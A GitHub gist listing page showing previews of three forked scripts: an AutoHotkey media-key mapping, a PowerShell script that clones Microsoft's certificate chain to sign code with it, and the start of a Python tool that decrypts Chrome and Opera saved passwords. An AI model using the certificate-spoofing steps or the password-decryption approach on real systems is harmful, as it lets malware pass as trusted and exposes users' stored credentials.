Skip to content

Instantly share code, notes, and snippets.

View AmmarHaddadi's full-sized avatar

Ammar Haddadi AmmarHaddadi

View GitHub Profile
@AmmarHaddadi
AmmarHaddadi / Mediakeys.ahk
Last active June 1, 2023 17:04 — forked from mistic100/Mediakeys.ahk
Media keys shortcuts for AutoHotkey
#NoEnv
SendMode Input ;
NumpadEnter::Send {Media_Play_Pause}
^!Left::Send {Media_Prev}
^!Right::Send {Media_Next}
NumpadMult::Send {Volume_Mute}
NumpadAdd::Send {Volume_Up}
NumpadSub::Send {Volume_Down}
@AmmarHaddadi
AmmarHaddadi / CertificateCloning.ps1
Created March 23, 2023 17:59 — forked from mattifestation/CertificateCloning.ps1
The steps required to clone a legitimate certificate chain and sign code with it.
# We'll just store the cloned certificates in current user "Personal" store for now.
$CertStoreLocation = @{ CertStoreLocation = 'Cert:\CurrentUser\My' }
$MS_Root_Cert = Get-PfxCertificate -FilePath C:\Test\MSKernel32Root.cer
$Cloned_MS_Root_Cert = New-SelfSignedCertificate -CloneCert $MS_Root_Cert @CertStoreLocation
$MS_PCA_Cert = Get-PfxCertificate -FilePath C:\Test\MSKernel32PCA.cer
$Cloned_MS_PCA_Cert = New-SelfSignedCertificate -CloneCert $MS_PCA_Cert -Signer $Cloned_MS_Root_Cert @CertStoreLocation
$MS_Leaf_Cert = Get-PfxCertificate -FilePath C:\Test\MSKernel32Leaf.cer
@AmmarHaddadi
AmmarHaddadi / Swoopy.py
Created February 21, 2023 13:51 — forked from pich4ya/Swoopy.py
Decrypt Chrome/Opera Saved Passwords - 2018
# https://geekswipe.net/technology/computing/swoop-chrome-passwords-decrypt-with-python/
# https://github.com/karthikeyankc/Swoopy/blob/master/Swoopy.py
# INSTALL: https://github.com/mhammond/pywin32/releases
import os
import sqlite3
import win32crypt
#path to user's login data